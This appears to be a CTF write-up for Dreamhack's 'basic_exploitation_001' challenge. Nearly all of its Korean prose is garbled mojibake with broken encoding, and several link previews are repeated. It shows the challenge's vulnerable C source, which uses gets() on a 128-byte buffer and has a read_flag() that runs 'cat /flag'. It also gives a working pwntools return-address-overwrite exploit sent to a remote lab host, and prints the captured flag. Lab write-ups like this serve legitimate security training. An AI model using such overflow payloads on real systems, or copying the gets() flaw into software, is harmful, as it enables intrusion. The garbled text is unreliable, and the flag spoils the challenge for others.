basic_exploitation_001
basic_exploitation_001
๋ฌธ์ ํ์ด
์ ๋ค์ด๊ฐ๊ธฐ ์ ์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ์ต๋๋ค..
๋ฐ๋ก NX๊ฐ ์ ์ฉ๋ ์ฝ๋๋ผ๋ ๊ฒ์ด์ฃ
์ฐธ๊ณ ๋ก 32-little endian linux์ด๊ณ ์ ๊ทธ๋ผ ๋ค์ด๊ฐ๊ธฐ ์์จ์ NX์ ๋ํด ์์๋ด์ผ๊ฒ ์ฃ ?
NX(Bit | MS : DEP)
NX-Bit(Never eXecute Bit; ์คํ ๋ฐฉ์ง ๋นํธ)
- ํ๋ก์ธ์ค ๋ช ๋ น์ด๋ ์ฝ๋ ๋๋ ๋ฐ์ดํฐ ์ ์ฅ์ ์ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ ๋ถ๋ฆฌ CPU์ ๊ธฐ์
- NX ํน์ฑ์ผ๋ก ์ง์ ๋ ๋ชจ๋ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์ญ์ ๋ฐ์ดํฐ ์ ์ฅ์ ์ํด์๋ง ์ฌ์ฉ๋จ
- ํ๋ก์ธ์ค ๋ช ๋ น์ด๊ฐ ๊ทธ๊ณณ์ ์์ฃผํ์ง ์๊ฒ ์คํ์์ผ์ค
DEP(Data Execution Prevention)
- MS windows OS์ ํฌํจ๋ ๋ณด์ ๊ธฐ๋ฅ์ด๋ฉฐ, ์ ์์ ์ฝ๋ ์คํ ๋ฐฉ์ง๋ฅผ ์ํ ๋ฉ๋ชจ๋ฆฌ ํ์ธ ๊ธฐ์
- DEP๋ ๋ ๊ฐ์ง ๋ชจ๋๋ก ์คํ๋จ
+ HW DEP : ๋ฉ๋ชจ๋ฆฌ ๋ช ์์ ์คํ ์ฝ๋ ํฌํจ ๊ฒฝ์ฐ ์ ์ธํ๊ณ ๋ชจ๋ ํ๋ก์ธ์ค ๋ฉ๋ชจ๋ฆฌ ์์น ์คํX
= ๋๋ถ๋ถ ์ต์ ํ๋ก์ธ์๋ HW ์ ์ฉ DEP๋ฅผ ์ง์
+ SW DEP : CPU๊ฐ HW DEP๋ฅผ ์ง์ํ์ง ์์ ๊ฒฝ์ฐ ์ฌ์ฉ
์ด๋ ๊ฒ ๋ณผ ์ ์์ต๋๋ค.๋ ์์ธํ๋ ๋์ค์... ๊ธฐ์ฌํ๊ฒ ์ต๋๋ค ๋๊ธ๋ก ๋
์ดํด์ฃผ์ธ์
๊ทธ๋ผ ๊ฐ๋จํ๊ฒ ์์์ผ๋ฏ๋ก ์ฆ ์์ฝ๋๊ฐ ์คํ์ด ๋๋ ๋ถ๋ถ์ ์ฐพ์์ผํ๋ค๋ ์ด์ผ๊ธฐ!
๊ทธ๋ผ ์ฝ๋๋ฅผ ํ์ธํ๋ฉด์ ๋ด๋ณผ๊น์?
//file name : basic_exploitation_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() { //NX - Bit ์ฐํ ๊ฐ๋ฅ
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80]; //128 byte
initialize();
gets(buf); //vuln code
return 0;
}
์ gets๊ฐ ์ทจ์ฝ ์ฝ๋์ฃ ๊ทธ ์ด์ ๊ฐ ๊ถ๊ธํ๋ค๋ฉด..
Exploit Tech: Return Address Overwrite
์๋ก ์ด์ ์คํ ์ค๋ฒ ํ๋ก์ฐ๋ฅผ ํ์ฉํ RET๋ฅผ ๋ณ์กฐํด ์ ธ์ ํ๋ํ๋.. ๊ทธ๋ฐ ์๊ฒ์์ ํด๋ด ์๋ค ์๋๋ ์์ ์์ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // Name: rao.c // Compile:..
dystopia050119.tistory.com
NX ๋ณดํธ๊ธฐ๋ฒ์ด ์๊ธฐ์ ์ ๋ฐ ํจ์๋ฅผ ์ด์ฉํด์ผํ๋ฏ๋ก ์ฃผ์๋ฅผ ์์๋ด์ด
RET๋ฅผ ์ ํจ์์ ์ฃผ์๋ก ์์ ํ๋ฉด flag๋ฅผ ์ป์ ์ ์๊ฒ ๋ค์ ใ
info funtions๋ฅผ ์ด์ฉํ๊ฑฐ๋ ์๋ printํด์ ์ฃผ์๋ฅผ ํ์ธํ ์ ์์ฃ
๋ญ ๋ฑํ ๋ถ์ํ ์ฝ๋๋ ์๋๊ณ ์ด์ ์ ์น์ ํ๊ฒ ์์ธํ ํ์ผ๋ฏ๋ก ์ ๋ชจ๋ฅด๊ฒ ๋ค๋ฉด..
Exploit Tech: Return Address Overwrite
์๋ก ์ด์ ์คํ ์ค๋ฒ ํ๋ก์ฐ๋ฅผ ํ์ฉํ RET๋ฅผ ๋ณ์กฐํด ์ ธ์ ํ๋ํ๋.. ๊ทธ๋ฐ ์๊ฒ์์ ํด๋ด ์๋ค ์๋๋ ์์ ์์ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // Name: rao.c // Compile:..
dystopia050119.tistory.com
Mitigation: NX & ASLR
์์คํ ๋ณด์์ ์ง๋ ์๋ ๊ฐ ๋ฐ์ ํด์จ ๊ณต๊ฒฉ ๊ธฐ๋ฒ๊ณผ ๋ณดํธ ๊ธฐ๋ฒ์ ๋ฐ์ ์์์ ๋ณด์๋ฉด.. ์ด๋ค ๋ณดํธ ๊ธฐ๋ฒ์ด ๋ฑ์ฅํ๋ฉด ์ฐํ ๊ธฐ์ ๋ ๋ฑ์ฅํฉ๋๋ค.. ์ด๋ ๊ฒ ์ด๋ค ๊ณต๊ฒฉ์ด ์ฌ์ง ๋ชจ๋ฅด๊ธฐ์ ์์คํ ๊ฐ๋ฐ์๋ค
dystopia050119.tistory.com
์ด์งํผ ๋ญ BOF ์ข ๋ฅ๋๊น์ ์.. ๋ฉด๋ฐํ๊ฒ ๋ณด๋ฉด ์ ๋งํฌ๋ ๊ด๋ จ์ด ์์ ์ ์์ง๋ง..
๊ทธ๋ผ pwntools๋ฅผ ์ฌ์ฉํด ์ฝ๋๋ฅผ ์์ฑํด๋ณผ๊น์?
#file : exploit.py
from pwn import *
context.log_level='debug'
#p = process('basic_exploitation_001')
p = remote('host1.dreamhack.games', '9014')
e = ELF('basic_exploitation_001')
read_addr = 0x80485b9
shellcode = b'A'*128
shellcode += b'B'*0x4
shellcode += p32(read_addr)
p.sendline(shellcode)
p.interactive()
๋ญ ์ด์ ๋ ๋ถ์ํ ํ์์์ฃ ?
๊ทธ๋ผ ์ต์คํ๋ก์์ ์งํํ๋ฉด..
DH{01ec06f5e1466e44f86a79444a7cd116}
์ฐธ๊ณ ์๋ฃ
basic_exploitation_001
Description ์ด ๋ฌธ์ ๋ ์๋ฒ์์ ์๋ํ๊ณ ์๋ ์๋น์ค(basicexploitation001)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค. ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ์ต์คํ๋ก์ํด "flag" ํ์ผ์ ์ฝ์ผ์ธ์. "flag" ํ์ผ์ ๋ด์ฉ์
dreamhack.io
์ฐธ๊ณ ์ด๋ฏธ์ง
basic_exploitation_001
Description ์ด ๋ฌธ์ ๋ ์๋ฒ์์ ์๋ํ๊ณ ์๋ ์๋น์ค(basicexploitation001)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค. ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ์ต์คํ๋ก์ํด "flag" ํ์ผ์ ์ฝ์ผ์ธ์. "flag" ํ์ผ์ ๋ด์ฉ์
dreamhack.io